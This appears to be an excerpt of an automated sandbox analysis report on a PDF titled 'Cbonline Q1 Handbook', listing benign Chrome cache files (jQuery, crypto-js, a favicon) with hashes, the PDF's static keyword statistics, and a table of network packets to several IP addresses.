Preview:	/! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}funct

Chrome Cache Entry: 198

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	937
Entropy (8bit):	7.737931820487441
Encrypted:	false
SSDEEP:	24:2PUSIn/IylOgX9qCigRmHQxlCNebarFY9:2PLCHlOgXQ9Oie+rw
MD5:	FC3B7BBE7970F47579127561139060E2
SHA1:	3F7C5783FE1F4404CB16304A5A274778EA3ABD25
SHA-256:	85E6223AFDBD5BADF2C79BCFBAA6FE686ACAA781ECA52C196647FFABB3BE2FFE
SHA-512:	49FA22DE92BEBEDE28BB72F7C7902C01D59E56723811629E40C8A887E34FD0B392A9DF169A238BDD8E46D984E76312D75B2644B8611C66A71A559C1B6834DE6C
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....pHYs...........~....[IDATX..KHTQ..g...&....!pY-.q.-B.H....Q`HY.wL.L....D....M.hS.H.w..wF..y\|..s.9..2.6s..w.....}.9........m.{"."q.Q..x.ZO..h.U.y.3.].^.M. .0...D7L...D....w...a$}/u..)n....@......8.V.y6..X..U.QgA.\.Q.F..~.>..'......g.=.2..VW..\....`1d......q..........6...Y...L.g9....l.-...z.t.CE\|...d5...b..H?....4...+.J.....9.E..-. ..R$.D.S....7...b..i..\q.?0..9....,d&...mw.L..&N.FpM"...;.......O[db/...-....Q<..WDhN.nu....%...m......A.S.._.>w...0.u..TJ...)......u..(=.!.."zTE0....J....ki#..n0..^.._"..D.....u..p.*=.&d..1....8...f.kR.3G6.t....Vcl.o=~/.$./...I.....$............(]...9.,...i....e... ..........._....@.h./......./U2Nd..........U..\|...{.(...y....`.\|....z\..z.@.o5...-...O.T.TL).5...y.m.......zZ........:..B..i..w...?!...m-xi.....;...e.0.A...W.}..E...u......h0O./...U..jA..., ..{.(......._=.w#.~..<..g.Vz....o@.e...........2.....T....IEND.B`.

Chrome Cache Entry: 199

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48238)
Category:	dropped
Size (bytes):	48239
Entropy (8bit):	5.343270713163753
Encrypted:	false
SSDEEP:	768:+CbPzHMb42QOna0rhgaqC2DdONTjwzsLSh0ZsC3Y2zIijkKY1LBep7iFFQ7Srv3h:gb425na0rhgaqDnzs22z3kH
MD5:	184E29DE57C67BC329C650F294847C16
SHA1:	961208535893142386BA3EFE1444B4F8A90282C3
SHA-256:	DD03BA1DD6D73643A8ED55F4CEBC059D673046975D106D26D245326178C2EB9D
SHA-512:	AF3D62053148D139837CA895457BEEF7620AA52614B9A08FD0D5BEF8163F4C3B9E8D7B2A74D29079DB3DACC51D98AE4A5DC19C788928E5A854D7803EBB9DED9C
Malicious:	false
Preview:	"use strict";(function(){function Ht(e,t,a,o,c,l,v){try{var h=e[l](v),s=h.value}catch(p){a(p);return}h.done?t(s):Promise.resolve(s).then(o,c)}function qt(e){return function(){var t=this,a=arguments;return new Promise(function(o,c){var l=e.apply(t,a);function v(s){Ht(l,o,c,v,h,"next",s)}function h(s){Ht(l,o,c,v,h,"throw",s)}v(void 0)})}}function V(e,t){return t!=null&&typeof Symbol!="undefined"&&t[Symbol.hasInstance]?!!t[Symbol.hasInstance](e):V(e,t)}function De(e,t,a){return t in e?Object.defineProperty(e,t,{value:a,enumerable:!0,configurable:!0,writable:!0}):e[t]=a,e}function Ve(e){for(var t=1;t<arguments.length;t++){var a=arguments[t]!=null?arguments[t]:{},o=Object.keys(a);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(a).filter(function(c){return Object.getOwnPropertyDescriptor(a,c).enumerable}))),o.forEach(function(c){De(e,c,a[c])})}return e}function Ir(e,t){var a=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS

Chrome Cache Entry: 200

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48316), with no line terminators
Category:	downloaded
Size (bytes):	48316
Entropy (8bit):	5.6346993394709
Encrypted:	false
SSDEEP:	768:J1Z4iiyfiD78x6l42SWRV4HC0o10LEnM9OT81agZnEpnS:vZYDc6lXJd1mZpZEdS
MD5:	2CA03AD87885AB983541092B87ADB299
SHA1:	1A17F60BF776A8C468A185C1E8E985C41A50DC27
SHA-256:	8E3B0117F4DF4BE452C0B6AF5B8F0A0ACF9D4ADE23D08D55D7E312AF22077762
SHA-512:	13C412BD66747822C6938926DE1C52B0D98659B2ED48249471EC0340F416645EA9114F06953F1AE5F177DB03A5D62F1FB5D321B2C4EB17F3A1C865B0A274DC5C
Malicious:	false
URL:	https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js
Preview:	!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){var i;if("undefined"!=typeof window&&window.crypto&&(i=window.crypto),"undefined"!=typeof self&&self.crypto&&(i=self.crypto),!(i=!(i=!(i="undefined"!=typeof globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.create\|\|function(t){return e.prototype=t,t=new e,e.prototype=null,t};function e(){}var t={},n=t.lib={},o=n.Base={extend:function(t){var e=r(this);return t&&e.mixIn(t),e.hasOwnProperty("init")&&this.init!==e.init\|\|(e.init=function(){e.$super.init.apply(this,arguments)}),(e.init.prototype=e).$super=this,e},create:function(){var t=this.extend();

Chrome Cache Entry: 201

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	937
Entropy (8bit):	7.737931820487441
Encrypted:	false
SSDEEP:	24:2PUSIn/IylOgX9qCigRmHQxlCNebarFY9:2PLCHlOgXQ9Oie+rw
MD5:	FC3B7BBE7970F47579127561139060E2
SHA1:	3F7C5783FE1F4404CB16304A5A274778EA3ABD25
SHA-256:	85E6223AFDBD5BADF2C79BCFBAA6FE686ACAA781ECA52C196647FFABB3BE2FFE
SHA-512:	49FA22DE92BEBEDE28BB72F7C7902C01D59E56723811629E40C8A887E34FD0B392A9DF169A238BDD8E46D984E76312D75B2644B8611C66A71A559C1B6834DE6C
Malicious:	false
URL:	https://developers.cloudflare.com/favicon.png
Preview:	.PNG........IHDR... ... .....szz.....pHYs...........~....[IDATX..KHTQ..g...&....!pY-.q.-B.H....Q`HY.wL.L....D....M.hS.H.w..wF..y\|..s.9..2.6s..w.....}.9........m.{"."q.Q..x.ZO..h.U.y.3.].^.M. .0...D7L...D....w...a$}/u..)n....@......8.V.y6..X..U.QgA.\.Q.F..~.>..'......g.=.2..VW..\....`1d......q..........6...Y...L.g9....l.-...z.t.CE\|...d5...b..H?....4...+.J.....9.E..-. ..R$.D.S....7...b..i..\q.?0..9....,d&...mw.L..&N.FpM"...;.......O[db/...-....Q<..WDhN.nu....%...m......A.S.._.>w...0.u..TJ...)......u..(=.!.."zTE0....J....ki#..n0..^.._"..D.....u..p.*=.&d..1....8...f.kR.3G6.t....Vcl.o=~/.$./...I.....$............(]...9.,...i....e... ..........._....@.h./......./U2Nd..........U..\|...{.(...y....`.\|....z\..z.@.o5...-...O.T.TL).5...y.m.......zZ........:..B..i..w...?!...m-xi.....;...e.0.A...W.}..E...u......h0O./...U..jA..., ..{.(......._=.w#.~..<..g.Vz....o@.e...........2.....T....IEND.B`.

Static File Info

General

File type:	PDF document, version 1.4, 1 pages
Entropy (8bit):	7.862358188926822
TrID:	Adobe Portable Document Format (5005/1) 100.00%
File name:	Cbonline Q1 Handbook-0782794.pdf
File size:	177'820 bytes
MD5:	6f5f8b223e07e754e14d1d4881d6bb28
SHA1:	a87bd3b745da10211f80397a9b7b4cb2041cf2c8
SHA256:	d43d0b96eec4b8612f6e59c46ccf23a70f55d7bb499dbf2d1fd87203f943e33b
SHA512:	1df41951530bba93c32aef5166964e472fae033226f023b921a1ea3031612065723b1f19579882c0b11e2dfc8af4fedf22a2c212439c4d93f0e6ed1adf945a13
SSDEEP:	3072:eePAPIqXIHiqmitAZCdVrzAUMFbkTT6C4uhNRtEg79oqKoSK:bPsIjfFXQ+TrvB5mop
TLSH:	3104CF34FA998C4CED46D71AC5BE284E9E1EB55B7DDC7485022C0A2AF601ED06B13B87
File Content Preview:	%PDF-1.4.%.....1 0 obj.<</Creator (Chromium)./Producer (Skia/PDF m127)./CreationDate (D:20250306174359+00'00')./ModDate (D:20250306174359+00'00')>>.endobj.3 0 obj.<</ca 1./BM /Normal>>.endobj.7 0 obj.<</N 3./Filter /FlateDecode./Length 293>> stream.x.}..J

File Icon


Icon Hash:	62cc8caeb29e8ae0

Static PDF Info

General
Header:	%PDF-1.4
Total Entropy:	7.862358
Total Bytes:	177820
Stream Entropy:	7.943403
Stream Bytes:	152968
Entropy outside Streams:	5.037078
Bytes outside Streams:	24852
Number of EOF found:	1
Bytes after EOF:

Keywords Statistics

Name	Count
obj	143
endobj	143
stream	14
endstream	14
xref	1
trailer	1
startxref	1
/Page	1
/Encrypt	0
/ObjStm	0
/URI	2
/JS	0
/JavaScript	0
/AA	0
/OpenAction	0
/AcroForm	0
/JBIG2Decode	0
/RichMedia	0
/Launch	0
/EmbeddedFile	0

Image Streams

ID	DHASH	MD5
5	0000000000000000	d11cd8d756a592e8d6eb57546079e333
6	e0008000008000e0	8daccfe48a9989645aca4b190f4d0d28
8	0000000000000000	84b8b8026808465a53a10d023e828a40
9	0000000000000000	8944c93e209efce58fcd8ba2421a0360
10	515a525e17b29980	9df01684273e78020815465453f3cdb0

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 7, 2025 10:13:54.162825108 CET	49675	443	192.168.2.5	23.1.237.91
Mar 7, 2025 10:13:54.240859985 CET	49674	443	192.168.2.5	23.1.237.91
Mar 7, 2025 10:13:54.272095919 CET	49673	443	192.168.2.5	23.1.237.91
Mar 7, 2025 10:14:03.884151936 CET	49674	443	192.168.2.5	23.1.237.91
Mar 7, 2025 10:14:03.899393082 CET	49675	443	192.168.2.5	23.1.237.91
Mar 7, 2025 10:14:03.899502039 CET	49673	443	192.168.2.5	23.1.237.91
Mar 7, 2025 10:14:04.245405912 CET	49711	80	192.168.2.5	15.197.175.4
Mar 7, 2025 10:14:04.246073008 CET	49712	80	192.168.2.5	15.197.175.4
Mar 7, 2025 10:14:04.250689030 CET	80	49711	15.197.175.4	192.168.2.5
Mar 7, 2025 10:14:04.250847101 CET	49711	80	192.168.2.5	15.197.175.4
Mar 7, 2025 10:14:04.251188040 CET	80	49712	15.197.175.4	192.168.2.5
Mar 7, 2025 10:14:04.251357079 CET	49712	80	192.168.2.5	15.197.175.4
Mar 7, 2025 10:14:04.251925945 CET	49712	80	192.168.2.5	15.197.175.4
Mar 7, 2025 10:14:04.257035971 CET	80	49712	15.197.175.4	192.168.2.5
Mar 7, 2025 10:14:05.695044994 CET	80	49712	15.197.175.4	192.168.2.5
Mar 7, 2025 10:14:05.695182085 CET	80	49712	15.197.175.4	192.168.2.5
Mar 7, 2025 10:14:05.695353031 CET	80	49712	15.197.175.4	192.168.2.5
Mar 7, 2025 10:14:05.695488930 CET	443	49703	23.1.237.91	192.168.2.5
Mar 7, 2025 10:14:05.695502996 CET	49712	80	192.168.2.5	15.197.175.4
Mar 7, 2025 10:14:05.695502996 CET	49712	80	192.168.2.5	15.197.175.4
Mar 7, 2025 10:14:05.695569992 CET	49703	443	192.168.2.5	23.1.237.91
Mar 7, 2025 10:14:05.734993935 CET	49716	443	192.168.2.5	13.58.118.141
Mar 7, 2025 10:14:05.735053062 CET	443	49716	13.58.118.141	192.168.2.5
Mar 7, 2025 10:14:05.735234976 CET	49716	443	192.168.2.5	13.58.118.141
Mar 7, 2025 10:14:05.735544920 CET	49716	443	192.168.2.5	13.58.118.141
Mar 7, 2025 10:14:05.735577106 CET	443	49716	13.58.118.141	192.168.2.5
Mar 7, 2025 10:14:08.413561106 CET	49723	443	192.168.2.5	216.58.206.36
Mar 7, 2025 10:14:08.413644075 CET	443	49723	216.58.206.36	192.168.2.5
Mar 7, 2025 10:14:08.413729906 CET	49723	443	192.168.2.5	216.58.206.36
Mar 7, 2025 10:14:08.413916111 CET	49723	443	192.168.2.5	216.58.206.36
Mar 7, 2025 10:14:08.413933992 CET	443	49723	216.58.206.36	192.168.2.5
Mar 7, 2025 10:14:09.003370047 CET	443	49716	13.58.118.141	192.168.2.5
Mar 7, 2025 10:14:09.003626108 CET	49716	443	192.168.2.5	13.58.118.141
Mar 7, 2025 10:14:09.003644943 CET	443	49716	13.58.118.141	192.168.2.5
Mar 7, 2025 10:14:09.005331039 CET	443	49716	13.58.118.141	192.168.2.5
Mar 7, 2025 10:14:09.005399942 CET	49716	443	192.168.2.5	13.58.118.141
Mar 7, 2025 10:14:09.006376982 CET	49716	443	192.168.2.5	13.58.118.141
Mar 7, 2025 10:14:09.006480932 CET	443	49716	13.58.118.141	192.168.2.5
Mar 7, 2025 10:14:09.006658077 CET	49716	443	192.168.2.5	13.58.118.141
Mar 7, 2025 10:14:09.006673098 CET	443	49716	13.58.118.141	192.168.2.5
Mar 7, 2025 10:14:09.051265001 CET	49716	443	192.168.2.5	13.58.118.141
Mar 7, 2025 10:14:09.357083082 CET	49725	80	192.168.2.5	2.19.105.127
Mar 7, 2025 10:14:09.362217903 CET	80	49725	2.19.105.127	192.168.2.5
Mar 7, 2025 10:14:09.362287998 CET	49725	80	192.168.2.5	2.19.105.127
Mar 7, 2025 10:14:09.362399101 CET	49725	80	192.168.2.5	2.19.105.127
Mar 7, 2025 10:14:09.367381096 CET	80	49725	2.19.105.127	192.168.2.5
Mar 7, 2025 10:14:09.419430017 CET	443	49716	13.58.118.141	192.168.2.5
Mar 7, 2025 10:14:09.420021057 CET	49716	443	192.168.2.5	13.58.118.141
Mar 7, 2025 10:14:09.420171022 CET	443	49716	13.58.118.141	192.168.2.5
Mar 7, 2025 10:14:09.420252085 CET	49716	443	192.168.2.5	13.58.118.141
Mar 7, 2025 10:14:09.432996988 CET	49726	443	192.168.2.5	172.66.0.227
Mar 7, 2025 10:14:09.433032036 CET	443	49726	172.66.0.227	192.168.2.5
Mar 7, 2025 10:14:09.433147907 CET	49726	443	192.168.2.5	172.66.0.227
Mar 7, 2025 10:14:09.433481932 CET	49726	443	192.168.2.5	172.66.0.227
Mar 7, 2025 10:14:09.433501005 CET	443	49726	172.66.0.227	192.168.2.5
Mar 7, 2025 10:14:10.012953043 CET	80	49725	2.19.105.127	192.168.2.5
Mar 7, 2025 10:14:10.012973070 CET	80	49725	2.19.105.127	192.168.2.5
Mar 7, 2025 10:14:10.013031960 CET	49725	80	192.168.2.5	2.19.105.127
Mar 7, 2025 10:14:10.378225088 CET	443	49723	216.58.206.36	192.168.2.5
Mar 7, 2025 10:14:10.378479958 CET	49723	443	192.168.2.5	216.58.206.36
Mar 7, 2025 10:14:10.378525019 CET	443	49723	216.58.206.36	192.168.2.5
Mar 7, 2025 10:14:10.380295992 CET	443	49723	216.58.206.36	192.168.2.5
Mar 7, 2025 10:14:10.380369902 CET	49723	443	192.168.2.5	216.58.206.36
Mar 7, 2025 10:14:10.383936882 CET	49723	443	192.168.2.5	216.58.206.36
Mar 7, 2025 10:14:10.384056091 CET	443	49723	216.58.206.36	192.168.2.5
Mar 7, 2025 10:14:10.437999010 CET	49723	443	192.168.2.5	216.58.206.36
Mar 7, 2025 10:14:10.438019991 CET	443	49723	216.58.206.36	192.168.2.5
Mar 7, 2025 10:14:10.484472036 CET	49723	443	192.168.2.5	216.58.206.36
Mar 7, 2025 10:14:11.274123907 CET	443	49726	172.66.0.227	192.168.2.5
Mar 7, 2025 10:14:11.274348974 CET	49726	443	192.168.2.5	172.66.0.227
Mar 7, 2025 10:14:11.274368048 CET	443	49726	172.66.0.227	192.168.2.5
Mar 7, 2025 10:14:11.275994062 CET	443	49726	172.66.0.227	192.168.2.5
Mar 7, 2025 10:14:11.276062965 CET	49726	443	192.168.2.5	172.66.0.227
Mar 7, 2025 10:14:11.277013063 CET	49726	443	192.168.2.5	172.66.0.227
Mar 7, 2025 10:14:11.277095079 CET	443	49726	172.66.0.227	192.168.2.5
Mar 7, 2025 10:14:11.277211905 CET	49726	443	192.168.2.5	172.66.0.227
Mar 7, 2025 10:14:11.277220964 CET	443	49726	172.66.0.227	192.168.2.5
Mar 7, 2025 10:14:11.328794956 CET	49726	443	192.168.2.5	172.66.0.227
Mar 7, 2025 10:14:11.945173025 CET	443	49726	172.66.0.227	192.168.2.5
Mar 7, 2025 10:14:11.945276976 CET	443	49726	172.66.0.227	192.168.2.5
Mar 7, 2025 10:14:11.945616961 CET	443	49726	172.66.0.227	192.168.2.5
Mar 7, 2025 10:14:11.945621014 CET	49726	443	192.168.2.5	172.66.0.227
Mar 7, 2025 10:14:11.945929050 CET	49726	443	192.168.2.5	172.66.0.227
Mar 7, 2025 10:14:11.948050022 CET	49726	443	192.168.2.5	172.66.0.227
Mar 7, 2025 10:14:11.948062897 CET	443	49726	172.66.0.227	192.168.2.5
Mar 7, 2025 10:14:12.066215992 CET	49731	443	192.168.2.5	3.167.227.11
Mar 7, 2025 10:14:12.066303015 CET	443	49731	3.167.227.11	192.168.2.5
Mar 7, 2025 10:14:12.066554070 CET	49732	443	192.168.2.5	3.167.227.11
Mar 7, 2025 10:14:12.066560984 CET	49731	443	192.168.2.5	3.167.227.11
Mar 7, 2025 10:14:12.066579103 CET	443	49732	3.167.227.11	192.168.2.5
Mar 7, 2025 10:14:12.066984892 CET	49731	443	192.168.2.5	3.167.227.11
Mar 7, 2025 10:14:12.067019939 CET	443	49731	3.167.227.11	192.168.2.5
Mar 7, 2025 10:14:12.067053080 CET	49732	443	192.168.2.5	3.167.227.11
Mar 7, 2025 10:14:12.067177057 CET	49732	443	192.168.2.5	3.167.227.11
Mar 7, 2025 10:14:12.067188978 CET	443	49732	3.167.227.11	192.168.2.5
Mar 7, 2025 10:14:14.050635099 CET	443	49732	3.167.227.11	192.168.2.5
Mar 7, 2025 10:14:14.050888062 CET	49732	443	192.168.2.5	3.167.227.11
Mar 7, 2025 10:14:14.050903082 CET	443	49732	3.167.227.11	192.168.2.5
Mar 7, 2025 10:14:14.051878929 CET	443	49732	3.167.227.11	192.168.2.5
Mar 7, 2025 10:14:14.051959991 CET	49732	443	192.168.2.5	3.167.227.11
Mar 7, 2025 10:14:14.057126999 CET	49732	443	192.168.2.5	3.167.227.11
Mar 7, 2025 10:14:14.057337999 CET	443	49732	3.167.227.11	192.168.2.5
Mar 7, 2025 10:14:14.059828043 CET	49732	443	192.168.2.5	3.167.227.11
Mar 7, 2025 10:14:14.059842110 CET	443	49732	3.167.227.11	192.168.2.5
Mar 7, 2025 10:14:14.078886032 CET	443	49731	3.167.227.11	192.168.2.5
Mar 7, 2025 10:14:14.081789970 CET	49731	443	192.168.2.5	3.167.227.11
Mar 7, 2025 10:14:14.081815004 CET	443	49731	3.167.227.11	192.168.2.5
Mar 7, 2025 10:14:14.083547115 CET	443	49731	3.167.227.11	192.168.2.5
Mar 7, 2025 10:14:14.083650112 CET	49731	443	192.168.2.5	3.167.227.11
Mar 7, 2025 10:14:14.083935022 CET	49731	443	192.168.2.5	3.167.227.11
Mar 7, 2025 10:14:14.084108114 CET	443	49731	3.167.227.11	192.168.2.5
Mar 7, 2025 10:14:14.110400915 CET	49732	443	192.168.2.5	3.167.227.11
Mar 7, 2025 10:14:14.126164913 CET	49731	443	192.168.2.5	3.167.227.11
Mar 7, 2025 10:14:14.126173019 CET	443	49731	3.167.227.11	192.168.2.5
Mar 7, 2025 10:14:14.172255039 CET	49731	443	192.168.2.5	3.167.227.11
Mar 7, 2025 10:14:15.045886040 CET	443	49732	3.167.227.11	192.168.2.5
Mar 7, 2025 10:14:15.046107054 CET	443	49732	3.167.227.11	192.168.2.5
Mar 7, 2025 10:14:15.046159983 CET	49732	443	192.168.2.5	3.167.227.11
Mar 7, 2025 10:14:15.046286106 CET	49732	443	192.168.2.5	3.167.227.11
Mar 7, 2025 10:14:15.046309948 CET	443	49732	3.167.227.11	192.168.2.5
Mar 7, 2025 10:14:15.046324968 CET	49732	443	192.168.2.5	3.167.227.11
Mar 7, 2025 10:14:15.046353102 CET	49732	443	192.168.2.5	3.167.227.11
Mar 7, 2025 10:14:15.078896046 CET	49735	443	192.168.2.5	172.67.134.191
Mar 7, 2025 10:14:15.078927994 CET	443	49735	172.67.134.191	192.168.2.5
Mar 7, 2025 10:14:15.079015017 CET	49735	443	192.168.2.5	172.67.134.191
Mar 7, 2025 10:14:15.079195976 CET	49735	443	192.168.2.5	172.67.134.191
Mar 7, 2025 10:14:15.079214096 CET	443	49735	172.67.134.191	192.168.2.5
Mar 7, 2025 10:14:16.843473911 CET	443	49735	172.67.134.191	192.168.2.5
Mar 7, 2025 10:14:16.843760967 CET	49735	443	192.168.2.5	172.67.134.191
Mar 7, 2025 10:14:16.843775034 CET	443	49735	172.67.134.191	192.168.2.5
Mar 7, 2025 10:14:16.844760895 CET	443	49735	172.67.134.191	192.168.2.5
Mar 7, 2025 10:14:16.844907045 CET	49735	443	192.168.2.5	172.67.134.191
Mar 7, 2025 10:14:16.846045017 CET	49735	443	192.168.2.5	172.67.134.191
Mar 7, 2025 10:14:16.846112967 CET	443	49735	172.67.134.191	192.168.2.5
Mar 7, 2025 10:14:16.846344948 CET	49735	443	192.168.2.5	172.67.134.191
Mar 7, 2025 10:14:16.846353054 CET	443	49735	172.67.134.191	192.168.2.5
Mar 7, 2025 10:14:16.888763905 CET	49735	443	192.168.2.5	172.67.134.191
Mar 7, 2025 10:14:17.936098099 CET	443	49735	172.67.134.191	192.168.2.5
Mar 7, 2025 10:14:17.936382055 CET	443	49735	172.67.134.191	192.168.2.5
Mar 7, 2025 10:14:17.936434984 CET	49735	443	192.168.2.5	172.67.134.191
Mar 7, 2025 10:14:17.936454058 CET	443	49735	172.67.134.191	192.168.2.5
Mar 7, 2025 10:14:17.936546087 CET	443	49735	172.67.134.191	192.168.2.5
Mar 7, 2025 10:14:17.936722994 CET	49735	443	192.168.2.5	172.67.134.191
Mar 7, 2025 10:14:17.936733007 CET	443	49735	172.67.134.191	192.168.2.5
Mar 7, 2025 10:14:17.976516008 CET	49735	443	192.168.2.5	172.67.134.191
Mar 7, 2025 10:14:17.985137939 CET	443	49735	172.67.134.191	192.168.2.5
Mar 7, 2025 10:14:17.988373995 CET	443	49735	172.67.134.191	192.168.2.5
Mar 7, 2025 10:14:17.988429070 CET	49735	443	192.168.2.5	172.67.134.191
Mar 7, 2025 10:14:17.988440990 CET	443	49735	172.67.134.191	192.168.2.5
Mar 7, 2025 10:14:18.031871080 CET	49735	443	192.168.2.5	172.67.134.191
Mar 7, 2025 10:14:18.031884909 CET	443	49735	172.67.134.191	192.168.2.5
Mar 7, 2025 10:14:18.078675032 CET	49735	443	192.168.2.5	172.67.134.191
Mar 7, 2025 10:14:18.270900011 CET	443	49735	172.67.134.191	192.168.2.5
Mar 7, 2025 10:14:18.271732092 CET	443	49735	172.67.134.191	192.168.2.5
Mar 7, 2025 10:14:18.271791935 CET	49735	443	192.168.2.5	172.67.134.191
Mar 7, 2025 10:14:18.271816015 CET	443	49735	172.67.134.191	192.168.2.5
Mar 7, 2025 10:14:18.278506994 CET	443	49735	172.67.134.191	192.168.2.5
Mar 7, 2025 10:14:18.278651953 CET	49735	443	192.168.2.5	172.67.134.191
Mar 7, 2025 10:14:18.278664112 CET	443	49735	172.67.134.191	192.168.2.5
Mar 7, 2025 10:14:18.293601990 CET	443	49735	172.67.134.191	192.168.2.5
Mar 7, 2025 10:14:18.293667078 CET	49735	443	192.168.2.5	172.67.134.191
Mar 7, 2025 10:14:18.293692112 CET	443	49735	172.67.134.191	192.168.2.5
Mar 7, 2025 10:14:18.335028887 CET	49735	443	192.168.2.5	172.67.134.191
Mar 7, 2025 10:14:18.498006105 CET	443	49735	172.67.134.191	192.168.2.5
Mar 7, 2025 10:14:18.499537945 CET	443	49735	172.67.134.191	192.168.2.5
Mar 7, 2025 10:14:18.499633074 CET	49735	443	192.168.2.5	172.67.134.191
Mar 7, 2025 10:14:18.499638081 CET	443	49735	172.67.134.191	192.168.2.5
Mar 7, 2025 10:14:18.499670982 CET	443	49735	172.67.134.191	192.168.2.5
Mar 7, 2025 10:14:18.501583099 CET	49735	443	192.168.2.5	172.67.134.191
Mar 7, 2025 10:14:18.506275892 CET	443	49735	172.67.134.191	192.168.2.5
Mar 7, 2025 10:14:18.512957096 CET	443	49735	172.67.134.191	192.168.2.5
Mar 7, 2025 10:14:18.513047934 CET	443	49735	172.67.134.191	192.168.2.5
Mar 7, 2025 10:14:18.513134956 CET	49735	443	192.168.2.5	172.67.134.191
Mar 7, 2025 10:14:18.513170004 CET	443	49735	172.67.134.191	192.168.2.5
Mar 7, 2025 10:14:18.513597965 CET	49735	443	192.168.2.5	172.67.134.191
Mar 7, 2025 10:14:18.519810915 CET	443	49735	172.67.134.191	192.168.2.5
Mar 7, 2025 10:14:18.526506901 CET	443	49735	172.67.134.191	192.168.2.5
Mar 7, 2025 10:14:18.526693106 CET	443	49735	172.67.134.191	192.168.2.5
Mar 7, 2025 10:14:18.526767015 CET	49735	443	192.168.2.5	172.67.134.191
Mar 7, 2025 10:14:18.526782036 CET	443	49735	172.67.134.191	192.168.2.5
Mar 7, 2025 10:14:18.527569056 CET	49735	443	192.168.2.5	172.67.134.191
Mar 7, 2025 10:14:18.533354044 CET	443	49735	172.67.134.191	192.168.2.5
Mar 7, 2025 10:14:18.540118933 CET	443	49735	172.67.134.191	192.168.2.5
Mar 7, 2025 10:14:18.540219069 CET	443	49735	172.67.134.191	192.168.2.5
Mar 7, 2025 10:14:18.540285110 CET	49735	443	192.168.2.5	172.67.134.191
Mar 7, 2025 10:14:18.540297985 CET	443	49735	172.67.134.191	192.168.2.5
Mar 7, 2025 10:14:18.541575909 CET	49735	443	192.168.2.5	172.67.134.191
Mar 7, 2025 10:14:18.558123112 CET	443	49735	172.67.134.191	192.168.2.5
Mar 7, 2025 10:14:18.558316946 CET	443	49735	172.67.134.191	192.168.2.5
Mar 7, 2025 10:14:18.558391094 CET	49735	443	192.168.2.5	172.67.134.191
Mar 7, 2025 10:14:18.558399916 CET	443	49735	172.67.134.191	192.168.2.5
Mar 7, 2025 10:14:18.558424950 CET	443	49735	172.67.134.191	192.168.2.5
Mar 7, 2025 10:14:18.558484077 CET	49735	443	192.168.2.5	172.67.134.191
Mar 7, 2025 10:14:18.560873985 CET	443	49735	172.67.134.191	192.168.2.5
Mar 7, 2025 10:14:18.600862026 CET	443	49735	172.67.134.191	192.168.2.5
Mar 7, 2025 10:14:18.600946903 CET	443	49735	172.67.134.191	192.168.2.5
Mar 7, 2025 10:14:18.601046085 CET	49735	443	192.168.2.5	172.67.134.191
Mar 7, 2025 10:14:18.601048946 CET	443	49735	172.67.134.191	192.168.2.5
Mar 7, 2025 10:14:18.601075888 CET	443	49735	172.67.134.191	192.168.2.5
Mar 7, 2025 10:14:18.601109028 CET	49735	443	192.168.2.5	172.67.134.191
Mar 7, 2025 10:14:18.606621027 CET	443	49735	172.67.134.191	192.168.2.5
Mar 7, 2025 10:14:18.606642008 CET	443	49735	172.67.134.191	192.168.2.5
Mar 7, 2025 10:14:18.606693029 CET	49735	443	192.168.2.5	172.67.134.191
Mar 7, 2025 10:14:18.606703997 CET	443	49735	172.67.134.191	192.168.2.5
Mar 7, 2025 10:14:18.620198011 CET	443	49735	172.67.134.191	192.168.2.5
Mar 7, 2025 10:14:18.620276928 CET	49735	443	192.168.2.5	172.67.134.191
Mar 7, 2025 10:14:18.620289087 CET	443	49735	172.67.134.191	192.168.2.5
Mar 7, 2025 10:14:18.623811960 CET	49735	443	192.168.2.5	172.67.134.191
Mar 7, 2025 10:14:19.110162020 CET	443	49735	172.67.134.191	192.168.2.5
Mar 7, 2025 10:14:19.110198021 CET	443	49735	172.67.134.191	192.168.2.5
Mar 7, 2025 10:14:19.110238075 CET	49735	443	192.168.2.5	172.67.134.191
Mar 7, 2025 10:14:19.113367081 CET	443	49735	172.67.134.191	192.168.2.5
Mar 7, 2025 10:14:19.113434076 CET	49735	443	192.168.2.5	172.67.134.191
Mar 7, 2025 10:14:19.113447905 CET	443	49735	172.67.134.191	192.168.2.5
Mar 7, 2025 10:14:19.113554955 CET	49735	443	192.168.2.5	172.67.134.191
